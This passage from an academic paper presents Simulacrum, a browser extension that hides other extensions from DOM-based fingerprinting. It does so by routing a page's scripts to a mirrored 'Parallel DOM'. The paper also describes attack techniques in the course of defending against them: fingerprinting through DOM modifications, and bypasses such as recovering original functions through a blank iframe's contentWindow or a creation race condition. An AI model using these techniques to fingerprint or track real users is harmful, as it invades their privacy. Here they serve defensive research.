crafted web page or iframe that implements DOM-based
fingerprinting to uncover the extensions installed in the user’s
browser. In a nutshell, DOM-based fingerprinting relies on
JavaScript that leverages the Web API [38] for direct read
and write access to the DOM; by observing and interacting
with it, the attacker can deduce which extensions are installed
based on how the extensions modify the DOM. We note that
social engineering attacks that trick the user into divulging
which extensions they have installed (e.g., following a similar
strategy to [66]) and side-channel attacks (e.g., timing-based)
are considered out of scope for our defense.

Browser extensions. Users install extensions in their
browsers to expand the browser’s functionality and improve
their browsing experience [17]. Extensions offer such features
via a bundle consisting of HTML, CSS, JavaScript code, and
a configuration file called the manifest.

Security model. To reduce the threat of malicious pages
compromising browser extensions [45, 56], browsers employ
privilege separation for extensions. Specifically, extensions’
background scripts have powerful privileges but do
not have access to the DOM, and extensions use content
scripts to access the DOM, which lack the extension’s full
capabilities. Although content scripts have full access to
the DOM, they do not run in the website scripts’ execution
environment. That is, neither website scripts nor content
scripts are able to directly access one another because each
runs in its own isolated world, while sharing the same DOM.

DOM-based fingerprinting. Due to the sharing of the DOM
across the isolated worlds, invasive pages can construct DOM-
based fingerprints by observing the extension’s modifications
to the page’s DOM [59]. Prior work [29] has demonstrated
how an attacker can automatically construct an extension’s
fingerprint by capturing the extension’s DOM modifications
that alter specific fields (e.g., username, password), DOM
elements (e.g., images), or text keywords. Then, when a
victim visits a specially crafted web page that contains a
comprehensive set of elements and features, the fingerprinting
framework can compare the DOM modifications to the
previously captured fingerprints to identify the extension.
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JavaScript uses prototypes to share properties (values
and functions) and define hierarchical relationships between
objects. Prototype-based languages do not use classes to
generalize the characteristics of a set of objects. Instead,
any object can share its properties with others as part of its
prototype chain [37].

Prototypal inheritance. Effectively, the prototype chain de-
scribes the inheritance hierarchy of an object, and is used when
code tries to access an object’s attribute. During execution,
JavaScript looks for the attribute within the object itself, and
returns the attribute if found. Otherwise it recursively searches
the prototype chain until it finds (and returns) the attribute or
reaches the end of the chain (and returns undefined).

Function overriding. JavaScript can dynamically update
properties of existing objects. Programmers leverage this
behavior to wrap existing functionalities and customize their
behavior. Additionally, JavaScript can override the getter
and setter functions of a prototype’s properties to customize
prototype modifications themselves. In the Appendix we
provide code detailing how Simulacrum overrides prototype
values and functions, including getters and setters.

3 DOM Reality Shifting with Simulacrum

We present Simulacrum, a novel countermeasure against DOM-
based extension fingerprinting. Here, we provide an overview
of our design and the techniques employed by our system for
hiding the presence of extensions from malicious or invasive
webpages. The core strategy behind our defense is to create a
split reality between what a user experiences when browsing a
page and what the page can actually observe. Specifically, Sim-
ulacrum hides the artifacts created by extensions modifying the
DOM by creating an alternate reality for the page that does not
include any of the DOM modifications of installed extensions.
The user’s reality includes not only the page but also all DOM
modifications performed by extensions, thus offering users the
same browsing experience with enhanced privacy protections.

DOM reality shifting. Simulacrum places the webpage
JavaScript in a parallel reality that does not contain extensions’
DOM fingerprints by creating a simulacrum of the User DOM
that omits the extensions’ DOM-fingerprints, the Parallel
DOM, and routing all the webpage’s DOM requests to the
Parallel DOM. To isolate the altered reality, Simulacrum
prevents the webpage from accessing the User DOM, the
browser-created DOM that the user sees and that contains
all the modifications made by the webpage and the user’s
extensions. In addition, Simulacrum maintains the webpage’s
altered reality by mediating all access to and ensuring
consistency between the two DOMs.

Modification mirroring. Simulacrum replicates changes
between the User and Parallel DOMs depending on the origin
of the request. For modifications originating from the website
or user input, Simulacrum replicates the modifications in the

Parallel DOM. However, Simulacrum limits modifications
made by an extension to the User DOM.

Query routing. Simulacrum automatically routes queries
to either the User or Parallel DOMs depending on the query’s
origin. When an extension requests access to the DOM, it
automatically accesses the User DOM. However, when the
webpage accesses the DOM, our system seamlessly routes
the request to the Parallel DOM. As a result, the website is
unable to detect DOM-fingerprints left behind by extensions
because in the website’s DOM reality the extension’s changes
simply do not exist and, thus, no fingerprintable artifacts are
left behind by the extensions’ functionality.

Interception. Simulacrum controls all requests and per-
forms the necessary replication functionality by wrapping the
DOM interface with an intelligent router. We achieve this by
being the first script to execute and overriding the appropriate
DOM interfaces before the website’s JavaScript executes.

4 System Implementation

This section covers Simulacrum’s implementation details and
the technical challenges that it addresses to effectively achieve
DOM Reality Shifting. Here, we use the following notation: e
refers to a JavaScript object of type (i.e., respecting the inter-
face) Element, and n refers to a JavaScript object of type Node.

4.1 Primitives
Creating the Parallel DOM. To preserve compatibility, the
Parallel DOM created and maintained by Simulacrum must
include every aspect of the User DOM except for the DOM
modifications introduced by the user’s extensions. Simulacrum
instantiates the Parallel DOM by cloning the User DOM after
it receives the DOMContentLoaded, which is triggered by the
browser after it finishes loading and parsing the page’s HTML
and without waiting for the stylesheets, images, and subframes
to load. Simulacrum maintains the Parallel DOM throughout
the page’s life cycle by continually (1) ensuring the Parallel
DOM’s consistency with the User DOM and (2) preventing the
propagation of extension-driven changes to the Parallel DOM.

Equivalent elements. Propagating DOM modifications
between the User and Parallel DOMs requires a method for
accurately mapping equivalent elements across them. We
create this mapping using id attributes, which are unique
within a Document [14]. That is, for an element with an id
value of "node_id" in the User DOM, Simulacrum calls
parallelDOM.getElementById("node_id") to access the
equivalent element in the Parallel DOM. When DOM elements
lack an id attribute, we assign them a unique random value
before creating the Parallel DOM. In addition, we handle
elements created after the Parallel DOM is instantiated. To
handle this, Simulacrum wraps functions that create new
DOM elements (e.g., document.createElement()) with
logic that assigns them a unique id.
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Simulacrum implements a function, getEquivalent(e),
to return the element equivalent to e from the other DOM.
First, the function checks whether the provided e originates
from the User DOM or Parallel DOM; if e does not originate
from either (i.e., e is not attached to either DOM), the
function returns e. Next, if the id of e exists in both DOMs,
then the function returns the element with the same id
(i.e., the equivalent element) from the non-originating
DOM. Otherwise, the function returns null. In practice,
websites might use the same ID for multiple elements. If the
getEquivalent() function detects non-unique IDs, it uses
querySelectorAll("[id=’node_id’]") to get the list of
all elements with id=’node_id’. Then, if the element is
the i-th element with node_id in one DOM, the equivalent
will be the i-th element with node_id in the other DOM. For
simplicity, in the remainder of this paper we will only mention
getElementById for finding equivalent elements.

Cloning. The standard JavaScript method for making node
copies, cloneNode(), does not copy custom properties or
the source object’s event listeners. To fix the limitations of
cloneNode(), Simulacrum uses a custom deepClone() func-
tion. After making a clone with cloneNode(), deepClone()
uses Object.keys() to get all the custom properties and
transfer them one by one to the cloned node.

Unfortunately, JavaScript does not provide an API for
accessing the list of all event listeners for each node. The
Element andHTMLElement interfaces provide APIs for setting
and getting event listeners (such as HTMLElement.onclick),
and deepClone() uses these APIs to check for and clone event
listeners on the node. However, JavaScript does not provide
a direct way for accessing the event listeners that are set using
EventTarget.addEventListener(). Simulacrum over-
rides this function to intercept all invocations of it and collect
(and, later, clone) the event listeners that are set for each node.

Referencing original functions. Simulacrum needs access
to the original versions of the functions it overrides to affect
its operations on the DOMs. Before overriding them, we store
the methods and functions of these interfaces in a hash table
(accessible only by the Simulacrum content script).

4.2 DOM-accessing APIs

The DOM API is incredibly complex, comprised of hundreds
of interfaces and thousands of functions. However, we only
need to override APIs that have either read or write access to
the DOM; Simulacrum wraps the original functions with logic
to restrict the webpage’s access to the User DOM.

Read access. Simulacrum wraps functions to ensure that
JavaScript code run by a webpage reads from the Parallel DOM.
For example, Element.querySelector() has read access
to the DOM, and we override it to query the parallel DOM.

Write access. Simulacrum wraps functions with write
access. The write access wrappers apply the necessary DOM
modifications that originate from website scripts to both DOMs
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Figure 1: Most prevalent prototypes across top 10k websites.

and ensure that they are synchronized (i.e., consistent). For ex-
ample, Element.append(<newElement>) has write access
and the wrapper appends <newElement> to both DOMs.

Identifying APIs. While Document,Element andNode are
obvious items to be added to our overriding list, an automated
and systematic approach was necessary for identifying other
commonly used interfaces to read from or write to the DOM.
We developed a Chrome extension, called VisibleJS, that
records all function invocations that occur during the execu-
tion of JavaScript code on a page. VisibleJS overrides all
the functions implemented by JavaScript and logs the func-
tions each time the page’s code invokes them, using the code
shown in Listing 3 (Appendix). For each function invocation,
VisibleJS analyzes the arguments, returned value, and re-
ceiver. If at least one of those is an instance of Node or a DOM-
related object (e.g., DOMTokenList and DOMStringList),
then it records the function as one with access to the DOM.

Inspired by prior approaches on quantifying the prevalence
of browser features [54], we chose to use the 10K most popular
sites (according to the Alexa ranking) to determine commonly
used interfaces. We use Selenium, ChromeDriver, and
VisibleJS to capture the functions used by each site that ac-
cess the DOM. Figure 1 shows the number of websites that use
at least one function of the 30 most popular interfaces. Overall,
our experiment uncovered a total of 135 interfaces (and 1,532
functions) that interacted with the DOM among the top 10K
websites. However, as one might expect, not all interfaces are
equally popular, as more than half (70) of the interfaces are
used by less than 1% of the websites. Balancing the popularity
of the functions and the effort required for manually overriding
each function, we decided to override the 75 most popular
interfaces. In addition, we override all interfaces that inherit
from the Node interface (some of them are not used by the top
10K websites). In total, Simulacrum overrides 156 interfaces.

VisibleJS lead us to certain interesting findings, which
shed light on the intricacies and complexities of the DOM
API’s interfaces. For instance, we found it surprising that
XMLHttpRequest interacts with the DOM. XMLHttpRequest
is a commonly used interface for interacting with servers.
However, XMLHttpRequest’s responseXML argument
returns an object that implements the Document interface and
can then be appended to the DOM.
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4.3 Function Overriding

Here, we detail the processes Simulacrum employs for overrid-
ing read and write functions available through the DOM API.

Categorization. We first categorize functions depending on
their type of DOM interactions. Table 5 (Appendix) displays
different function examples for each category with their over-
ridden counterpart. We provide simplified versions of the ac-
tual call invocations throughout the text to improve readability.

Simple getter. This category of functions returns
static information about the DOM. For example,
document.getElementsByTagName('div') returns all the
div elements of the DOM, and e.hasAttribute('src')
returns true if the object e has a src attribute. Sim-
ulacrum overrides these functions so they return the
result of their execution on the parallel DOM. Ac-
cordingly, it replaces the examples given above with
parallelDOM.getElementsByTagName('div') and
parallelDOM.getElementById(e.id).hasAttribute('src').

Active getter. This category of functions cannot be executed
on the Parallel DOM. For example, e.scrollTop returns the
number of pixels that the element’s content is scrolled verti-
cally. However, since the Parallel DOM is not visible to users,
this value will always be zero for any element tested. As such,
for this type of function we first check if e has an equivalent
in the Parallel DOM (thus ensuring that it was not the product
of an extension), and then run this function on the User DOM
to obtain the appropriate value that should be returned.

As another example, document.activeElement returns
the element in the DOM that currently has focus. Since the
Parallel DOM is not visible, its elements cannot have focus.
Thus, we run this function on the User DOM and return the
equivalent element on the Parallel DOM. If the element that
is currently focused was created by an extension, we return its
first ancestor not added by an extension (i.e., its first ancestor
that has an equivalent in the Parallel DOM).

Simple setter. Functions in this category modify the
structure of the DOM or a node’s attribute. To replicate such
DOM modifications, we run the function on both the function
receiver and the equivalent of the receiver. For instance,
when a webpage’s script invokes e.innerHTML = "text",
the wrapper checks that the id exists in the Parallel DOM.
If it does exist, then the wrapper sets the innerHTML of e
and its equivalent object. For example, if the Parallel DOM
owns e, then the wrapper runs e.innerHTML = "text" and
document.getElementById(e.id).innerHTML="text".

Active setter. Functions in this category do not directly
modify the DOM. As such, we simply direct these to the
User DOM. For example, e.requestFullscreen() results
in the element being displayed in full-screen mode. The
wrapper for this function first checks the element’s owner
document. If the owner document is the Parallel DOM, we find
its equivalent element in the User DOM and run this function
on it. Otherwise, we simply execute the function.

Forwarding arguments. It is important to note that any of
the functions in the mentioned categories might have argu-
ments. Almost all arguments can simply be passed to the corre-
sponding functions. However, if an argument is a DOM object
(an object of type Node, Element, etc.), the wrapper might
need to invoke the function with the equivalent of arguments.

For instance, parentNode.insertBefore(newNode,
refNode) inserts the newNode before the refNode, which
is a child of parentNode. In this case, Simulacrum uses the
overriding strategy used for the simple setter category. That
is, it runs this function two times, once for parentNode and
once for its equivalent one. Unlike the simple setter category,
the insertBefore function receives two DOM objects as
arguments and, as a result, the wrapper locates and passes the ar-
guments equivalentNewNode and the equivalentRefNode.
While the wrapper uses getEquivalent(refNode) to find
the equivalent version of refNode, the newNode does not have
an equivalent node because it is not connected to a DOM yet.
Thus, the wrapper creates a deepClone() of newNode and
uses that for equivalentNewNode.

Interfaces of the DOM API. The DOM API is structured
around different Interfaces effectively grouping JavaScript
objects with common state and behavior together. Note that
all objects in JavaScript are instances of the Object class,
which is on the top of the prototype chain. For the interested
reader, Figure 6 (Appendix) shows a partial representation of
the DOM API with some of its interfaces.

Node interface. Every node of the DOM tree is rep-
resented by an object of type Node, which also includes
any interfaces inheriting from it (notably Attr, Document,
Element [14]). The Node interface describes properties (e.g.,
nodeName, parentNode) and methods (e.g., cloneNode(),
normalize()) that are shared amongst all DOM objects [14].
We wrapped 14 properties and 15 methods in Node’s prototype.

Document interface. This interface represents the result of
parsing the page, and grants access to the DOM. It describes
the common properties (e.g., title, bgColor) and methods
(e.g., querySelector(), createElement()) for any kind of
document [14]. We note that this interface exposes properties
for setting event handlers (e.g., onclick,) [14]; these are in
the active setter category, and we set these event listeners in the
User DOM. In practice, the User DOM fires the events because
the Parallel DOM is in the background. During the execution
of callback functions from event handlers, as with any other
JavaScript function, Simulacrum applies modifications to both
the DOMs. The Document interface also allows the creation
of specific DOM objects [14]. In particular, Simulacrum needs
to wrap the createElement(), createElementNS(), and
createDocumentFragment() methods to forcefully assign
a value to the id attribute of new elements created through
this interface (see §4.1). Finally, createTreeWalker()
and createNodeIterator() instantiate objects that help
JavaScript perform DOM traversal [14]; Simulacrum uses
the simple getter strategy to prevent them from reading
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the User DOM. More specifically, Simulacrum’s wrapper
for document.createTreeWalker(root) converts it to
parallelDOM.createTreeWalker(equivalentRoot).
This limits the webpage’s access to the Parallel DOM. In the
end, we override 264 properties and 40 methods.

Element interface. All elements in the DOM inherit a set of
methods and properties common to all types of elements from
Element. As shown in Figure 6, each element object derives
from either HTMLElement or SVGElement. Both of them
count several descendant interfaces: 72 for HTMLElement,
and 71 for SVGElement [14]. HTMLElement serves as the base
interface for HTML elements. Some elements directly derive
from this interface, while others implement this interface
using another interface that inherits it. For example, <footer>
elements directly implement HTMLElement, while <video>
elements implement HTMLVideoElement, which inherits
from HTMLMediaElement, which inherits from HTMLElement.
Additionally, all the SVG elements of the SVG language
inherit the SVGElement interface. Simulacrum wraps all
the methods and properties of the Element interface and its
descendants with an appropriate overriding strategy. To that
end, we manually analyzed all 1,532 methods and properties,
so as to choose the correct overriding strategy for each case.

Observer interfaces. The Web APIs provide different ob-
servers allowing JavaScript executed in the browser to observe,
be notified, and react (using callback functions) to updates in
the state of DOM objects. Simulacrum needs to override three
observers: ResizeObserver, IntersectionObserver and
MutationObserver [14, 15, 68]. Listing 4 (Appendix) gives
examples that demonstrate the three observers.

ResizeObserver interface. Objects of this interface monitor
changes to the size of elements (size may change for various
reasons, such as changes in the size of the browser window).
The ResizeObserver’s constructor receives a callback
function. Each time the size of an observed element changes,
the browser notifies the observer by executing the provided
callback function. The observe method starts the observation
of the specified element and identifies the target of interest.
We use the active setter strategy for overriding the observe
function. That is, Simulacrum prevents a webpage from
observing an element that does not exist in the Parallel DOM.

IntersectionObserver interface. This interface provides
the ability to observe changes in the intersection of a
target element with another object called the root. The
IntersectionObserver’s constructor receives a callback
and an optional configuration variable which, when provided,
defines the root. The root descends from a specific target
or the viewport. If the constructor does not include the
configuration argument, the observer assigns the viewport
as the root. Simulacrum wraps two functions: first, the
IntersectionObserver’s constructor to configure a proper
root for its object. To do so, the wrapper checks that the config-
uration argument contains a root and that it exists in the Parallel
DOM. If so, it uses userDOM.getElementById(root.id)

to replace the root with the one from the User DOM. Second,
we wrap the observe function using the active setter strategy,
which prevents pages from using this API to detect extensions.

MutationObserver interface. This interface allows
scripts to observe changes made to the DOM. The
MutationObserver’s constructor receives the callback
function. The observe method receives the target node and
the observer configuration. The configuration determines the
types of DOM changes the observer will react to. For example,
by passing a configuration with childList: true and
subtree: true, the observer triggers the callback for DOM
modifications that change the list of children attached to the tar-
get node or the nodes in its subtree. The list of children changes
through the addition or removal of nodes. The observe
wrapper uses a slightly more complicated version of the active
setter strategy. The MutationObserver invokes the callback
when it observes modifications to the target node and the target
node’s descendants. For instance, if the target is the <html> ele-
ment, the observer receives notifications for new elements that
the browser appends to any location in the page. Subsequently,
the wrapper adds functionality to avoid invoking the callback
when an extension mutates the DOM. To that end, Simulacrum
overrides MutationObserver’s constructor to modify the
incoming callback. The callback modifications cause it to skip
DOM mutations originating from an extension and only invoke
the original callback for those DOM changes that originate
from the webpage’s scripts. Listing 5 in the appendix shows the
wrapper code. The wrapper replaces the original callback with
newCallback. The argument[0] for newCallback is an ar-
ray of mutation records observed by the MutationObserver.
The wrapper uses the filterMutations() function to filter
out the mutations caused by an extension. If any mutations
remain, the wrapper invokes the original callback with the
remaining webpage-only mutations.

The filterMutations() function operates based on
the attributes of each mutation’s record. For example,
if an extension appends a new <p> element to the User
DOM, mutation.type will be "childList", the value of
mutation.target will be the reference to the parent of the
<p> element (i.e., the element that it has been appended to)
and mutation.addedNodes refers to the <p> element. The
filterMutations() function then checks the Parallel DOM
for its equivalent of <p> and mutation.target. In this exam-
ple, since<p> is injected by an extension and is not a child of the
Parallel DOM’s version of mutation.target, the function
filters out the current mutation from the mutation array.

In another example, if one of the webpage’s script modifies
the src attribute of an <img> element, the mutation.type
will be "attributes", the mutation.target will be a ref-
erence to the <img> element, and the attributeName will be
"src". Based on mutation.type, the filterMutations()
investigates the attributes by comparing the src attribute of
the <img> element with the src of its equivalent from the
non-originating DOM. In this case, it does not filter out the
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current mutation out of the mutation array because the src
value from both DOMs are equal. Thus, the wrapper invokes
the original callback with the remaining mutations.

Other interfaces. We use an element’s id to find equiv-
alents in the two DOMs. Objects that do not implement the
Element interface and lack an id require a different approach;
the key observation for these objects is that they are connected
to an element. Thus, to find their equivalent we leverage the
element they are connected to. E.g., element.classList
returns an object that implements the DOMTokenList
interface, which has functions like add() for modifying
the object. When the page calls tokenList.add("name"),
we also call equivalentTokenList.add("name") to
propagate this to the other DOM. Since tokenList does
not implement Element, we use element to find the
equivalent, and equivalentElement.classList to set
equivalentTokenList. Accessing the connected element
differs for different non-element objects. Some non-element
objects implement properties, for example ownerElement,
parentElement, or parentNode, which provide direct
access to the connected element. However, other objects
do not provide a direct mechanism for accessing their
connected element (e.g., DOMTokenList). For indirect cases,
Simulacrum automatically adds an owner element property
to these objects the first time they are called. For example,
element.classList.add("name") modifies the object
that is returned by element.classList. Indeed, the call
results in two API calls: 1) element.classList returns
a DOMTokenList, 2) tokenList.add("name") adds the
string to the list. In the wrapper function of classList, the
wrapper sets element as the owner element of the returned
DOMTokenList object. Therefore, in the add() function,
Simulacrum can get the owner element, which it can then use
to find the owner of non-element’s equivalent.

It is important to emphasize that knowing the owner
element is not sufficient for finding the equivalent object. In
addition to the owner element, Simulacrum needs to know the
function that was called for getting this object. For example,
the Element.classList, HTMLLinkElement.relList, and
HTMLIframeElement.sandbox properties return an object
that implements the DOMTokenList. After finding the equiv-
alent owner element, we need to run the proper function to
get the equivalent non-element object. To do this, the wrapper
function stores the API call for accessing the object, which the
wrapper later uses to get the equivalent non-element object.

4.4 Additional Security Precautions

During our design and development process we accounted for
potential attacks against Simulacrum and incorporated appro-
priate defenses to prevent circumvention of our protections.

IIFE. As mentioned in §4.1, Simulacrum stores the original
version of all the interfaces in a hash table. If attackers are able
to access the original interfaces, they can replace the overrid-

den functions with the original ones and access the User DOM.
To prevent this attack, Simulacrum leverages Immediately-
invoked Function Expressions (IIFE) for isolating functions
and variables. That is, we encapsulate our system in an anony-
mous function that the JavaScript environment executes imme-
diately. In essence, this allows us to define our logic within an-
other function while the inner functions have access to the vari-
ables in the outer function’s scope. Using this approach Sim-
ulacrum has access to the global scope of the webpage but pre-
vents the webpage’s JavaScript code to access objects like the
hash table of original interfaces that are used by Simulacrum.

Position-based attacks. Simulacrum executes active getter
functions on the User DOM. While they cannot be executed
on elements injected by extensions, they can be used to get the
position of other elements. Since injected elements can affect
other elements’ position, attackers could potentially identify
installed extensions by observing changes in the positions
of elements. To prevent this, Simulacrum adds <div> and
<span> elements with random sizes at different locations
throughout the User DOM. Since these do not exist in the
Parallel DOM they are not visible to the websites’ scripts and,
thus, attackers cannot infer whether changes to the positions of
elements occur due to injections by extensions or the random
noise introduced by our system. It is important to note that
these noise elements do not really impact the user’s browsing
experience as they simply introduce empty spaces around
other elements (see Figure 8 in the Appendix).

While adding noise prevents attacks against extensions that
inject elements, this might not work for extensions that remove
elements. If an extension removes an element from the User
DOM, the element will not be removed from the Parallel DOM;
however, from the changes in the location of other elements an
attacker might be able to infer that extension’s presence. There
are two categories of extensions that remove elements from
websites. The first category is extensions that block scripts
which are responsible for creating elements (e.g., ad-blockers).
The second category includes extensions that explicitly
remove elements which are already connected to the DOM.
While Simulacrum cannot observe the behavior of the first
category, the behavior of the second category is DOM-based
and can be detected by Simulacrum. To that end, when an
element is removed by an extension, Simulacrum replaces the
removed element with another element of the same size; this
prevents changes to the location of other elements. We have
experimentally found that such extensions are very rare (only
59 fingerprintable extensions from §5 remove an element). As
such, Simulacrum only activates this defensive mechanism
against element removal when the user has one of these 59
extensions installed; in our prototype, this is done through a
hard-coded list but can easily be enforced based on a list that
is fetched from a server (similarly to EasyList [2]).

Order of execution. If the attacker’s code executes before
Simulacrum, they can access the original interfaces. To
prevent this, Simulacrum injects its script into the webpage’s
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Figure 2: Different stages in a webpage’s lifecycle.

execution context prior to DOM construction and before
the browser executes any other script. Simulacrum achieves
execution priority by setting run_at: "document_start"
in the extension’s manifest, which causes the browser to
execute the extension’s content scripts at the beginning of
DOM construction and before any of the webpage’s scripts.
In this way, we guarantee that the webpage cannot recover the
originals of the functions that we override by preemptively
executing before Simulacrum’s content scripts

However, when more than one extension sets run_at:
"document_start", the execution order is decided by the
browser, based on the order of their installation time: the
extension that was installed first will be executed before
later-installed ones [46]. To ensure its prioritization, Simu-
lacrum leverages the reordering technique proposed by Picazo-
Sanchez et al. [46]. This approach uses the management permis-
sion to change the order of extensions in the execution pipeline
by disabling and re-enabling them, resulting in these extensions
being treated as if they had been installed after Simulacrum.

Figure 2 shows the different stages of loading a website
when Simulacrum is present. The content script of Simulacrum
runs at document_start. At this point, the browser has not
started to parse the HTML page or construct the DOM. Sim-
ulacrum’s content script creates a head element and appends
its script to it. This script overrides the interfaces mentioned
previously and then removes the head element from the
page to prevent any conflict with the website’s head element.
Simulacrum reorders the execution pipeline of content scripts
and will be the first script that executes in the webpage.
Moving to the next area of the diagram in Figure 2, the browser
starts to construct the DOM. Right after constructing the
DOM, it fires the DOMContentLoaded and Simulacrum clones
the DOM to generate the Parallel DOM. From this point
forward, extensions’ fingerprints remain on the User DOM and
they will not be accessible by website scripts. Simulacrum’s
event listeners also fire before the webpage’s and the other
extensions. JavaScript orders the firing of event handlers based
on when the listener was set. That is, even if multiple scripts

set a listener for the DOMContentLoaded event, the browser
invokes the Simulacrum’s callback first (creating the Parallel
DOM) because it is the first script that set a listener for the
DOMContentLoaded event. In addition, JavaScript executes as
a single thread; therefore, Simulacrum’s event handler blocks
other events from firing until Simulacrum’s event handler
completes (i.e., there is no race condition).

iframes. Simulacrum uses the "all_frames": true man-
ifest file setting to inject its content scripts into all iframes
so that it can protect against fingerprinting by code running
in these iframes. However, due to browser implementation
subtleties, iframes with a blank or undefined src attribute
are not covered by the all_frames setting. Thus, an attacker
can append <iframe id="ifrm"></iframe> to the DOM,
retrieve the original version of getElementById through the
ifrm.contentWindow.Document.prototype.getElementById

lookup chain, and bypass Simulacrum. To inject Simulacrum’s
content scripts into such iframes (as well as iframes with
src attributes of javascript:* or about:*), Simulacrum
includes "match_about_blank": true in its manifest. This
setting successfully injects the content scripts into all iframes.
Interestingly, this bypass vector has been overlooked by some
previously proposed countermeasures (e.g., [34]).

Another iframe-related circumvention can occur when
fingerprinting code running in the parent page of an iframe
exploits a race condition between the time points when an
iframe is created and when Simulacrum’s scripts override its
DOM. The resulting attack is identical to the previously-stated
lookup chain, depending on quick access to the original
elements. Though this was reported in 2017 [52], it was
never fixed, and popular privacy extensions (e.g., Privacy
Badger [3]) are vulnerable to this attack. We prevent this attack
by blocking all accesses to the iframe’s contentWindow and
contentDocument from the parent page before Simulacrum
has wrapped the iframe’s functions. To that end, the wrappers
of contentWindow and contentDocument check Simu-
lacrum’s execution state inside the iframe; if it has completed,
they return the function’s result or undefined otherwise.

Overriding prototypes. The overriding approach
from [49] would allow attackers to delete functions and revert
them to the original function pointers. To prevent this and
protect objects the authors used Object.freeze after the
virtual machine layering process. In Simulacrum, as shown in
Listing 1 (Appendix), we override prototypes and not objects.
Our approach has two advantages; first, deleting functions will
not revert them to the original ones. Second, since functions
are not frozen, Simulacrum allows websites and extensions
to wrap functions (i.e., they can add another layer on top of
ours) which allows them to maintain their functionality.

5 Experimental Evaluation

Here we present a comprehensive evaluation that explores
multiple dimensions of Simulacrum’s performance.
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Simulacrum’s effectiveness. As our main goal is to
mitigate browser extension fingerprinting that leverages
DOM-based modifications, we need a robust and accurate
fingerprinting system to evaluate our approach. To that end, we
leverage the code and dataset of Carnus [29], as it is the only
proposed system that automatically generates unique signa-
tures that identify extensions based on their DOM interactions.
While Carnus has modules for different types of extension tech-
niques (e.g., detecting Web Accessible Resources) we focus on
the DOM-based module. To account for the dynamic nature of
extension behavior and to improve robustness, Carnus requires
at least 90% of a fingerprint to match the DOM modifications
to infer that an extension is installed. In their experiments,
Karami et al. [29] reported 5,793 extensions being detected
by Carnus based on their DOM-based fingerprints. To test the
effectiveness of our proposed countermeasure, we replicate
that experiment using the exact dataset of extensions. We use
Selenium to open a fresh browser installed with Simulacrum.
We then, using each of the 5,793 extensions installed, direct
our browser to the website running Carnus’ honeypage that
will attempt to detect the extension. We find that Simulacrum
is highly effective as it successfully prevents Carnus from
detecting 5,553 (95.86%) of the extensions. In comparison,
CloakX [63] could only protect up to 751 (12.96%) of these
extensions [29] by randomizing a subset of node attributes.

Partial fingerprints. We further explore the effect of our
defense and investigate extensions that Carnus is not able
to detect, and find that certain extensions manage to inject
a subset of their fingerprints in the Parallel DOM. This can
occur due to various behaviors which we analyze over the
following paragraphs, and Carnus does not detect them as it is
not able to reach the 90% threshold required for identifying the
extensions. Nonetheless we further assess the robustness of
our defense by training Carnus on these partial fingerprints to
examine whether it is able to identify any of these extensions.

To find extensions that partially inject fingerprints into the
Parallel DOM, we modify Carnus to calculate the percentage
of fingerprints that are injected into the Parallel DOM. This
allowed us to identify 37 extensions with partial fingerprints.
Our analysis reveals that the partial fingerprints of 28
extensions are unique enough within the entire collection of
extensions fingerprints to identify those extensions. Therefore,
a total of 268 extensions remain fingerprintable against
Simulacrum, which amounts to only 4.63% of the extensions.
Next we further explore the underlying reasons that lead to
extensions not being protected by Simulacrum.

Document_start. We conducted an experiment on the 268
fingerprintable extensions to identify those that modify the
DOM before the DOMContentLoaded event, which results
in their fingerprints being included in the Parallel DOM.
To that end, we installed each extension separately and
visited the honeypage, taking a snapshot of the DOM at the
DOMContentLoaded event, which we compared to the unmod-
ified DOM. We find that 245 (4.22% overall) extensions make

modifications before DOMContentLoaded as they are config-
ured to run their content scripts at document_start, and alter
the DOM before the construction of the Parallel DOM.

Next we evaluated the necessity of running the content script
at document_start for extensions that modify the DOM be-
fore the DOMContentLoaded event. To that end, we randomly
chose 20 extensions (that are in English and have at least 1k
users) out of the 240 extensions, and modified the run_at
attribute value in their manifest file from document_start
to document_idle. We found that 19 extensions maintained
their functionality despite our modification. Only one exten-
sion did not fully operate after the modification, which we
believe was due to improper design patterns. Specifically, the
developer of this extension implemented a non-critical logic
at DOMContentLoadedEvent’s event handler and because we
inject the code at document_idle, it does not work properly.

Injected scripts. While extensions have direct and full
access to the DOM and are able to make all necessary DOM
modifications through their content scripts, developers may
decide to inject a <script> element into the page to make
DOM modifications. To further explore this, we modify the
268 extensions to prevent them from running their content
scripts at document_start. To achieve this, we replaced
document_start with document_idle in the manifest file
and background script. Second, we created another browser
extension to identify <script> elements injected into the
DOM. Third, we installed each modified extension besides
Simulacrum and the new extension for collecting injected
<script> elements and visited the Carnus honeypage; if we
observe any injected <script> element we can conclude that
it was injected by the extension. Finally, we identify if this
injected <script> makes any DOM modifications. Since
the injected <script> will not be transferred to the Parallel
DOM, any modification in the Parallel DOM are the result of
running this <script>. To find these modifications, we simply
compare the Parallel DOM with its clean version. This way we
found 40 (0.69% of the total) extensions that inject a <script>
element into the DOM, and among these 17 extensions make
modifications before the DOMContentLoaded event.

Effectiveness. Table 1 summarizes the Simulacrum’s
effectiveness. Overall, we find that it is highly effective at pro-
tecting extensions from DOM-based fingerprinting as it is able
to protect 95.37% of the extensions that can be fingerprinted
by Carnus. For the remaining 268 extensions that cannot be
protected, we find that the majority is due to extension mod-
ifications being made at document_start. While our system
cannot hide these extensions, we propose straightforward
strategies for addressing the underlying issues in §6.

Simulacrum’s impact. Next, we seek to measure the
extent to which our defense affects the user experience. To that
end we visit the top 1k websites and comparatively measure
the overhead introduced by the presence of our extension,
versus a browser without our extension. We focus on two key
aspects: the page loading time and impact on functionality.
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Table 1: Breakdown statistics for Simulacrum’s effectiveness.

Extensions 5,793 (100%)

Protected 5,525 (95.37%)

Unprotected 268 (4.63%)
Document_start 245 (4.22%)
Script injection 40 (0.69%)
Partial fingerprints 28 (0.48%)
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Figure 3: DOM-interacting APIs calls in the top 10K sites.

Function overriding. JavaScript has a set of functions for
interacting with the DOM; by overriding them, Simulacrum
adds overhead to their execution time. Here we investigate
the top 10k websites to better understand the performance
penalty introduced by our defense. To that end, we first use
our VisibleJS extension to collect all the websites’ API calls.
In this experiment, we just collect the API calls that are
executed after firing the DOMContentLoaded event, since only
they incur Simulacrum’s overhead. To identify which calls
interact with the DOM, we assess the type of the arguments,
receiver, and return values of all API calls. If they are a node
or any other DOM-related object, we consider the API call
to be interacting with the DOM. We exclude API calls that
are used for managing data structures, such as functions that
are implemented by the Set, Array, or Map interfaces. As
an example, while the argument of array.push(node) is a
node, we do not count it as a DOM interaction.

Figure 3 depicts the percentage of API calls that interact
with the DOM in each of the top 10K websites. We find that
